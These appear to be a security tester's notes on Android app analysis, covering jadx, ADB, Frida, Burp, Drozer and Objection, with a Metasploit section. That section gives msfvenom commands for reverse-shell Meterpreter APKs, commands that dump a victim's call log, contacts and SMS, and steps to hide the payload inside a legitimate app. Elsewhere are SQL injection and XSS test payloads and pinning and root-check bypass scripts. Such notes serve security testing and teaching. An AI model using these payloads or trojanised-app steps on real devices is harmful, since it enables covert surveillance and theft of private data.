Android Security Notes

Reverse Engineering Methodology

Use jadx (used to analyze java bytecode) to disassemble an APK.

Another great tool is Apktool

Terminology

Activity

• Something a user "touches"
• What launches when you tap the application icon

Service

• Long running process that runs in the background
• An example of this is spotify - you listen to music while doing stuff on other apps

Intent

• Used to facilitate communications between different Android objects
• A message that states that you did or want something to happen
• For example, this could be something like the phone ringing, or receiving an SMS message
• Intents are used to start activities and services or deliver a brodcast message

Intent Receiver

• Respond to input, which could be something like an SMS message, losing WiFi, etc.
• For example, if you lose WiFi connectivity while playing a game like Gwent, you get a message stating that you're no longer connected to WiFi.

Content Provider

• Interact with app storage, typically looks a lot like SQL commands

Resource: https://www.youtube.com/watch?v=OLgmPxTHLuY

Where to begin

Start by looking at the AndroidManifest.xml - this can be thought of as the "table of contents" for an app.

Look for app components that are available to other code on the device (exported):
Search for: android:exported="true"

• This means that any other app on the device can send intents to that receiver.

Check for the targetSDK version in the manifest, see if it's 17 or lower. If it is, any content provider is exported by default. This means if you see something that resembles the following in the manifest:

<provider android:name="com.bla.app" android:authorities="com.bla.app"

that provider is exported despite the developer not specifying exported="true".

Look at API calls that can execute system commands, such as:

Runtime.exec()
ProcessBuilder()
system()

WebView

• Used to display a web page
• All you need is android.permission.INTERNET
• Look for webSettings.setJavaScriptEnabled(true);
  • JavaScript is disabled in a WebView by default

Interesting options to look for:

• setAllowContent
• setAllowFileAccess
• setAllowFileAccessFromFileURLs
• setAllowUniversalAccessFromFileURLs
• setJavaScriptEnabled
• setPluginState
• setSavePassword

Interestingly, if the targetSDK version is <= 17, and the stars aligh you could have RCE via CVE-2012-6636.

Binder

• Android IPC mechanism (how different processes can communicate with each other)
• Define the Binder interface with AIDL (Android Interface Definition Language)
• When reversing, find the AIDL by looking for classes that extend IInterface

Native Code

Start by opening the APK in jadx and using Text search to search for native.

Use Ghidra to load any so files we need to analyze.

armeabi - generic ARM 32-bit code

Resources:
https://www.youtube.com/watch?v=CNkIX8OafF8

Script to pull APK off device

autoapk.sh:

#!/bin/bash

if [[ -z $1 ]]; then
    echo "Usage: $0 <Name of APK>"
fi

APK_PATH="$(adb shell pm path $1)"
echo "${APK_PATH#*:}"
APK_PATH=${APK_PATH#*:}
adb pull $APK_PATH

# Make sure we successfully pulled down an APK before renaming it
if [[ -f base.apk ]]; then
    mv base.apk $1.apk
fi

# Open in JADX-GUI if you specify
if [[ "$2" == "--jadx" ]] || [[ "$2" == "-j" ]]; then
    $(which jadx-gui) $1.apk
fi

Alias:

alias autoapk="bash $HOME/.android_sec_tools/autoapk.sh"

Example usage (this will pull down the apk for chromium and then open it with jadx-gui):

autoapk org.chromium.chrome --jadx

Resource: https://youtu.be/uWT15hEM1dQ?t=564

Set up a rooted emulated device

You'll want to do this for testing in general, but especially if you plan to use Frida's injected mode.

1. Download Android Studio
2. Run it
3. Start a new Android Studio project or Import an Android code sample
4. Open AVD Manager:
   
5. Click + Create Virtual Device...
6. Select a phone with the Google Play Logo, such as the Nexus 5X (we'll assume you chose that one going forward)
7. Click Next
8. Click x86 Images
9. Click Download next to the system image with the following specs:
   Release Name: Marshmallow
   API Level: 23
   ABI: x86_64
   Target: Android 6.0 (Google APIs)
10. Click Finish
11. Click Next
12. Give the AVD new name if you'd like and click Finish
13. Start the virtual device with the following command:

~/Library/Android/sdk/emulator/emulator -avd <name of avd> -writable-system

14. To get shell access, run the following commands:

adb root # may not be necessary
adb shell

Resources:
https://hacksmile.com/a-system-image-must-be-selected-to-continue-android-studio-3-0/
https://www.youtube.com/watch?v=mmeYd03AeTQ
https://medium.com/@buff3r/root-detection-ssl-pinning-bypass-with-frida-framework-31769d31723a

ADB

List devices

adb devices

Resource: https://developer.android.com/studio/command-line/adb

View logs

adb logcat

Shell when you have multiple devices

Get the device ID with adb devices, then:

adb -s <device ID> shell

Resource: https://stackoverflow.com/questions/35269473/adb-error-more-than-one-device-android/35269735

Push file to a device

adb push file/to/push /place/to/push/file

Resource: https://www.androidauthority.com/android-customization-transfer-files-adb-push-adb-pull-601015/

Fix proxy issues

adb shell settings put global http_proxy :0

Uninstall package

adb uninstall <package_name>

For example:

adb uninstall com.company.thing

List packages

adb shell pm list packages | awk -F':' '{print $2}'

List packages and filepath to APK

adb shell pm list packages -f | awk -F':' '{print $2}'

Get the name of an installed package

adb shell pm list packages | awk -F':' '{print $2}' |grep name_of_package

For example:

adb shell pm list packages | awk -F':' '{print $2}' |grep gwent

Pull down package

adb pull "$(adb shell pm path com.company.thing | awk -F':' '{print $2}')"

Pull down file

adb pull /path/to/file/to/download .

Get list of activities

adb shell dumpsys package |grep -i <name of app> |grep Activity | uniq -u

Resource: https://stackoverflow.com/questions/33441138/how-to-find-out-activity-names-in-a-package-android-adb-shell

Show security settings

adb shell am start -a android.settings.SECURITY_SETTINGS

Get version of android

adb shell getprop ro.build.version.release

Get API level

adb shell getprop ro.build.version.sdk

Resource: https://stackoverflow.com/questions/29968096/get-android-os-version-of-device-connected-via-adb

Show forwarded ports

adb forward --list

Resource: https://android.stackexchange.com/questions/29272/adb-listing-all-forwarded-ports

Remove all forwarded ports

adb forward --remove-all

Resource: https://stackoverflow.com/questions/17817275/how-do-i-stop-an-adb-port-forward#:~:text=1 Answer&text=Try adb forward --remove,the first to support it

Show name of current activity on screen

adb shell dumpsys window windows | grep 'mCurrentFocus'

Resource: https://stackoverflow.com/questions/13380590/is-it-possible-to-start-activity-through-adb-shell

Start app with adb

You will need the package name and an activity in order to use this - see Get list of activities.

adb shell am start -n <package name>/<activity name>

Resources:
https://youtu.be/ZUikTuoCP_M?t=166
https://stackoverflow.com/questions/4567904/how-to-start-an-application-using-android-adb-tools

List all processes

adb shell ps -A

Resource: https://stackoverflow.com/questions/44732749/how-to-make-adb-shell-ps-list-all-processes-in-android-o/44732750

Kill all processes that belong to a user

adb shell pkill -U <user>

Query content provider

adb shell 'content query --uri content://<accessible content uri>/path

With SQL:

adb shell 'content query --uri content://<accessible content uri>/path --projection "* FROM SQLITE_MASTER;--"'

Resources:
https://resources.infosecinstitute.com/android-hacking-security-part-2-content-provider-leakage/#gref
https://hackerone.com/reports/518669

Remove root access from device

adb unroot

Resource: https://stackoverflow.com/questions/20953777/how-to-remove-root-access-from-android-emulator-and-get-normal-shell-prompt-in

Grep logcat output

./adb logcat | grep --line-buffered ABC > std.txt

Resource: https://stackoverflow.com/questions/14701728/grep-the-adb-logcat-write-the-output-to-a-text-file

Frida

Dynamic instrumentation toolkit that can be used to modify the behavior of an application. Very useful for applications that have obfuscated source, anti-tamper/anti-debugging protections, etc.

Modes of Operation

• Injected - spawn an existing program, attach to a running program, hijack a program as it's spawned

• Embedded - repackage an application and insert the frida instrumentation in before installing it on a device

• Preload - Similar concept to dynamic library loading

Tools that make up Frida

• frida-ps - Command line tool for listing processes

• frida-trace - Dynamically tracing of function calls

• frida-discover - Discover internal functions in a program

Getting started

You will need to install frida-server on your mobile device, as well as frida and frida-tools on your system.

Install frida and frida-tools on your system with:

pip3 install frida
pip3 install frida-tools

Run this to download frida-server:

wget "https://github.com/frida/frida/releases/download/$(frida --version)/frida-server-$(frida --version)-android-x86_64.xz" -O frida-server.xz && unxz frida-server.xz

Then run this to push frida-server to your device and run it:

adb push frida-server /data/local/tmp \
&& adb shell chmod 755 /data/local/tmp/frida-server \
&& adb shell /data/local/tmp/frida-server &

Test that everything is working by running this on your system:

frida-ps -U

If all is well, you should see a list of processes on the device.

Resources:
https://frida.re/docs/installation/#install-with-pip
https://mobile-security.gitbook.io/mobile-security-testing-guide/android-testing-guide/0x05b-basic-security_testing

Useful Commands

Display all running processes:

frida-ps -U

-U - Commands get run via USB

List all running applications:

frida-ps -Ua

-a - Get all apps

List all installed applications:

frida-ps -Uai

-i - Currently installed

Hook all specified common crypto calls for an app:

frida-trace -U -I  "libcommonCrypto*" com.yourapp.here

List attached devices:

frida-ls-devices

Spawn an app and load a script:

frida -U -f com.yourapp.here -l yourscript.js --no-pause

Start main thread after startup:

frida args --no-pause

Resource:
https://www.youtube.com/watch?v=T5Ym3gzKjYc

Java.use and Java.perform

Java.use wraps the library in an object that can be used to modify calls to that library during runtime and return what is specified in the function.

Java.perform ensures the call is attached to the current running thread for whatever function you specify.

Resource: https://youtu.be/uWT15hEM1dQ?t=1059

Wrap with Python

This article has some great information that you can apply to wrapping Frida with python.

Useful Scripts

To run any of these do the following:

1. Start the app
2. Run this command:

frida -U -l name_of_script.js fully_qualified_class_name --no-pause

For example:

frida -U -l enum_filter.js owasp.mstg.uncrackable1 --no-pause

Get all loaded classes

enum_loaded_classes.js:

Java.perform(function () {
  Java.enumerateLoadedClasses({
    "onMatch":
      function (className) {
        console.log(className)
      },
    "onComplete":
      function () { }
  });
});

Resource: https://appsec-labs.com/portal/frida-cheatsheet-for-android/

Get all loaded classes and filter by fully qualified class name

enum_filter.js:

Java.perform(function () {
  Java.enumerateLoadedClasses({
    "onMatch": function (className) {
      var str = JSON.stringify(className)
      if (str.startsWith('"fully_qualified_class_name')) {
      // for example:
      // if (str.startsWith('"sg.vantagepoint')) {
        console.log(str)
      };
    },
    "onComplete": function () {}
  });
});

Refuse to exit app

I was looking at an app that would exit if you were running on a rooted android device. To get around this, we can use the following script:
no_exit.js:

'use strict';

setImmediate(function() {
    if (Java.available) {
        Java.perform(function () {
            var system = Java.use("java.lang.System");
            system.exit.overload("int").implementation = function (var0) {
                console.log("Exit called, but we're not going nowhere.");
            };
        });
    };
});

Ghidra

Useful when you need to reverse native code.

1. Create a New Project
   a. Shared project allows you to collaborate with other reverse engineers - creates a version control server
2. If not collaborating, just create a Non-Shared Project
3. Next, import the file to analyze - press the i key or find it by clicking File
4. Click OK when prompted
5. Double click on the .so file
6. Click Yes and click Analyze to analyze

Strings

1. Click Window
2. Click Defined Strings

Alternatively, you can unzip the apk and then run the strings command on individual .so files.

Setup Burp

You will want to be sure you're testing on pre-Nougat since Nougat no longer trusts user or admin supplied CA certificates. Using Android Virtual Device Manager, you can create a Marshmallow AVD that works great. If you'd like to work with an AVD, please see the instructions above.

On the system with burp:

1. Open Burp
2. Click Proxy
3. Click Options
4. Click Edit under Proxy Listeners
5. Click All interfaces
6. Click OK
7. Download the Burp CA Certificate
8. Host it with simple http server:

python -m SimpleHTTPServer

9. Open the extended controls for the device by clicking the three diagonal dots:
   
10. Click Settings
11. Click Proxy
12. Uncheck Use Android Studio HTTP proxy settings
13. Click Manual proxy configuration
14. Set the Host name to the IP address of the system with burp
15. Click APPLY

Note: You can also setup the proxy with this command:

adb shell settings put global http_proxy IPWITHBURP:BURPPORT

On the phone:

1. Click Browser
2. Navigate to the host running simple http server, for example:
   http://192.168.1.2:8000
3. Click cacert.der
4. Set the Certificate name to cacert.cer
5. Click OK
6. If a PIN isn't set, set it with the following prompt by clicking OK -> PIN -> No thanks -> CONTINUE -> Don't show notifications at all -> DONE

Resources:
https://laconicwolf.com/2019/07/21/using-burp-suite-with-android-devices/

RMS

Install

1. Clone it:

git clone git@github.com:m0bilesecurity/RMS-Runtime-Mobile-Security.git

2. Run these commands:

cd RMS-Runtime-Mobile-Security
pipenv --python 3
pipenv shell

3. Install dependencies:

pip install -r requirements.txt

4. Run it:

python mobilesecurity.py

Bypass cert pinning with RMS

1. Navigate to http://localhost:5000
2. Specify your Mobile OS and the package
3. Choose Spawn or Attach
4. Click Load Default Frida Scripts
5. Click [15] - ssl_pinning_multi_bypass.js
6. Click Start RMS
7. Observe traffic coming into Burp

Intentionally Vulnerable Apps

OWASP Crackme
Download, extract, and then install it with this command:

wget https://github.com/OWASP/owasp-mstg/raw/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk \
&& adb install UnCrackable-Level1.apk

Damn Insecure and Vulnerable App (DIVA)

Methodologies for testing

https://craighays.com/bug-bounty-hunting-tips-2-target-their-mobile-apps-android-edition/

Find Vulnerable Sinks in Android Code

grep -rnwlE "android.text.Html"

android.text.Html - could introduce XSS

Import git project into Android Studio

1. Open Android Studio
2. File -> New -> Import Project
3. Find the folder with the AndroidManifest.xml file and click OK

Resource: https://developer.android.com/studio/intro/migrate

Install FSMON

This is used to monitor changes that happen on the filesystem.

1. Download one of the binaries based on your architecture from here
2. Copy it to your device and set the permissions to run it:

adb push fsmon-and-aarch64 /data
adb shell chmod 755 /data/fsmon-and-aarch64

3. Run it:

adb shell /data/fsmon-and-aarch64 /directory/to/monitor

# Example:
adb shell /data/fsmon-and-aarch64 /sdcard

Get pid of running app

pid=`adb shell ps -A | grep appname | awk -F' ' '{print $2}'`

Use Objection to patch an APK and bypass TLS

objective-patch.sh:

objectionapk=${1%.apk}
~/.local/bin/objection patchapk --source $1  --skip-resources --ignore-nativelibs --gadget-version 12.7.25
adb install $objectionapk.objection.apk

Resource: https://youtu.be/uWT15hEM1dQ?t=564

Patch split APKs

python3 ~/patch-apk/patch-apk.py $1 --save-apk $2

Resource: https://youtu.be/uWT15hEM1dQ?t=564

Find source code for open source libraries

Use XRef

Testing Deep Links

This is what you want to look for in the manifest:

Then you'll run this command to test it:

adb shell am start -W -a android.intent.action.VIEW -d "http://goobar.com" <name of package>

Command breakdown:
am - activity manager
start - start an activity with an intent that will be specified later
-W - wait to finish the command until the intent handling has finished
-a - action for this intent
-d - url

Resources:
https://www.youtube.com/watch?v=m2h3sK7s2eQ&ab_channel=goobar
https://stackoverflow.com/questions/31876003/how-to-test-custom-url-scheme-in-android

Testing Exported Activities

adb shell am start -n <package>/<activity> -e <parameter> "data_to_send"

-n: provide name of package and associated activity
-e: the parameter to send your data (and the subsequent data itself)

Example:

adb shell am start -n b3nac.injuredandroid/b3nac.injuredandroid.FlagTwelveExportedActivity -e totally_secure "https://google.com"

Creating a POC

It's easier to create an Android-based POC than trying to do things via bash.

package target.package.poc;

// Resolve these via Android Studio
import ...

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        
        Intent intent = new Intent();
        intent.setClassName("package.to.target", "package.to.target.TargetActivity");
        intent.putExtra("parameter", "data_to_send_ie<svg onload=prompt(1)>");
        startActivity(intent);
    }
}

Resources:
https://youtu.be/ZUikTuoCP_M?t=166
https://medium.com/bugbountywriteup/dont-stop-at-one-bug-d3c56806b5

Script to open apps on a device

Use this in conjunction with adb shell dumpsys package |grep -i <name of app> |grep Activity | uniq -u for easy copy/paste action.

start_app.sh:

adb shell am start -n $1

Jeb

Prepare an APK for debugging

To start, you have to make the app debuggable. To do this, follow these steps:

Generate a keystore
This will need to be done once so that you can sign the APK once you've made it debuggable. Run this command:

keytool -genkey -v -keystore my.keystore -keyalg RSA -keysize 2048 -validity 10000 -alias app

Answer the questions and don't forget the password that you set.

Next, we need to make the APK debuggable:

1. Navigate to the directory in which the JEB binary is located
2. Run this command:

./jeb_linux.sh -c --makeapkdebug -- /path/to/apk/file.apk

Now we need to sign the APK that JEB generated:

apksigner sign --ks my.keystore debuggable_generated_file.apk --ks-key-alias alias_name

Verify the APK with

apksigner verify debuggable_generated_file.apk

Resource: https://stackoverflow.com/questions/4853011/how-to-sign-an-android-apk-file

Debug an APK

1. Open the APK generated in the previous steps with JEB
2. Run the APK on your device with the debug flag:

adb shell am start -D -S -n <package>/<activityName>

3. Click Debugger -> Start...
4. Find the Process you want to attach to, click Attach

Protip: If it's just hanging, kill Android Studio if it's open!!!

Resource: https://www.pnfsoftware.com/jeb/manual/android-debugging/

Set breakpoint

MacOS: COMMAND + b
Linux or Windows: CTRL + b

Get APKs

You can use the play store, or you can hit an APK mirror site such as APKMirror or APKMonk.

Resource: https://youtu.be/2uwhrfXCl4I?t=913

Drozer

Install Server

pipenv --python 2.7
pipenv shell
wget https://github.com/mwrlabs/drozer/releases/download/2.4.4/drozer-2.4.4-py2-none-any.whl
sudo pip install drozer-2.4.4-py2-none-any.whl
pip install service_identity twisted

Get and Install Agent

wget https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk
adb install drozer-agent-2.3.4.apk

Start session (physical testing device):

adb forward tcp:31415 tcp:31415
adb shell ifconfig # get the <ip of device> from here
# Start the agent
adb shell am startservice -n com.mwr.dz/.services.ServerService -c com.mwr.dz.START_EMBEDDED
drozer console connect --server <ip of device>

Resource:
https://youtu.be/2uwhrfXCl4I?t=1393
https://github.com/FSecureLABS/drozer-agent/issues/6

Cheatsheet

Note: For commands that have a -a parameter, you can omit the parameter to have the command run against all packages on the device.

List commands:

list

Get all packages on the target:

run app.package.list

Filter a package from the list:

run app.package.list -f <your_string>

Get info about a package:

run app.package.info -a <package_name>

Get the attack surface for a package:

run app.package.attacksurface <package_name>

List activities in a package

run app.activity.info -a <package_name>

Start Activity:

run app.activity.start --component <package_name> <activity_name>

Get info about exported services:

run app.service.info -a <package_name>

Get info about content providers used by a package:

run app.provider.info -a <package_name>

Determine if we can fetch data from content providers used by a package:

run scanner.provider.finduris -a <package_name>

If Accessible content URIs are returned, you can then use the following to attempt to find sensitive information:

run app.provider.query content://<accessible content uri>

Test for Injection Vulns:

run scanner.provider.injection -a <package_name>

You can also test all packages with:

run scanner.provider.injection

Validation:

run app.provider.query content://<vulnerable accessible content uri> --projection "'"

If you get an unrecognized token: "' error, you've got SQLi. To further confirm:

run app.provider.query content://<vulnerable accessible content uri> --projection "* FROM SQLITE_MASTER WHERE type='table';--"

Resource: https://hackerone.com/reports/291764

Test for directory traversal:

run scanner.provider.traversal -a <package_name>

You can also test all packages with:

run scanner.provider.traversal

Browsable activities that can be opened from the web browser:

run scanner.activity.browsable

Find unprotected broadcast receivers

run app.broadcast.info -a <package name>

Follow this to determine if they're exploitable: https://oldbam.github.io/android/security/android-vulnerabilities-insecurebank-broadcast-receivers

Resources:
https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref
https://mutualmobile.com/resources/how-to-test-android-app-security-using-drozer
https://youremindmeofmymother.com/2016/04/13/android-security-testing-tips/

Manipulate intent

run app.activity.start --component <activity name> --data-uri "data to send to app"

Resource: https://youtu.be/2uwhrfXCl4I?t=2030

Interesting Intents and Receivers

These are some things you can look for in the source code to get started:

getExtra - get extra data
putExtra - put extra data
ACTION_CALL - make phone call
getCellLocation
LocationManager
ProcessBuilder - run local processes

Resource: https://youtu.be/2uwhrfXCl4I?t=2025

Metasploit

Generate the Meterpreter APK

You have two good options here:

Reverse TCP:

msfvenom -p android/meterpreter/reverse_tcp LHOST=yourip LPORT=4444 R > android_shell.apk

Reverse HTTPS:

msfvenom -p android/meterpreter/reverse_https LHOST=yourip LPORT=443 R > android_shell.apk

Resource: https://resources.infosecinstitute.com/lab-hacking-an-android-device-with-msfvenom/#gref

Prepare the APK

1. Follow the steps above under Generate a keystore to create a keystore
2. Sign the meterpreter APK:

apksigner sign --ks my.keystore android_shell.apk

3. Verify it:

apksigner verify android_shell.apk

Set up meterpreter

1. Start msfconsole:

msfconsole

2. Once it's open, run the following commands:

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp # or reverse_https depending on what you decided earlier
set LHOST <your ip>
exploit

Install the APK and start the Malware

adb install android_shell.apk
adb shell am startservice com.metasploit.stage/.MainService

Resource: https://github.com/rapid7/metasploit-framework/issues/9295

Meterpreter Cheatsheet

Show installed apps:

app_list

Uninstall app:

app_uninstall

Start the main activity for an app:

app_run com.package.name

Dump call log

dump_calllog

Note: The file will be dumped on your local system where you ran the exploit from.

Dump contacts:

dump_contacts

Note: The file will be dumped on your local system where you ran the exploit from.

Dump SMS:

dump_sms

Note: The file will be dumped on your local system where you ran the exploit from.

Resource: https://medium.com/@irfaanshakeel/hacking-android-phone-remotely-using-metasploit-43ccf0fbe9b8

Embed Metasploit APK into a legit APK

This in theory can automate the process, although it's apparently not very stable: https://github.com/yoda66/AndroidEmbedIT

Manual Process:

1. Decompile the original apk:

apktool d -f -o original com.og.apk

2. Decompile the metasploit apk:

apktool d -f -o malware metasploit.apk

3. Locate app entry point by going into AndroidManifest.xml and find the intent-filter with the action android.intent.action.MAIN
4. Find the associated main activity (this should have android:name in it)
   Example:
   
5. Add an invoke-static line to the MainActivity smali file invoke the Metasploit payload
   Example:
   
6. Copy all of the smali/com/metasploit/stage to the APK directory structure you're modifying
7. Copy all of the <uses-permission> and <uses-feature> lines from the Metasploit APK to the APK you're modifying
8. Re-assemble and sign it:

apksigner sign --ks my.keystore android_shell.apk

Resource: https://www.youtube.com/watch?v=2uwhrfXCl4I&ab_channel=WildWestHackin'Fest

Dump traffic into pcap

tcpdump -s 0 -w /data/local/tmp/dump.cap

Resource: https://youremindmeofmymother.com/2016/04/13/android-security-testing-tips/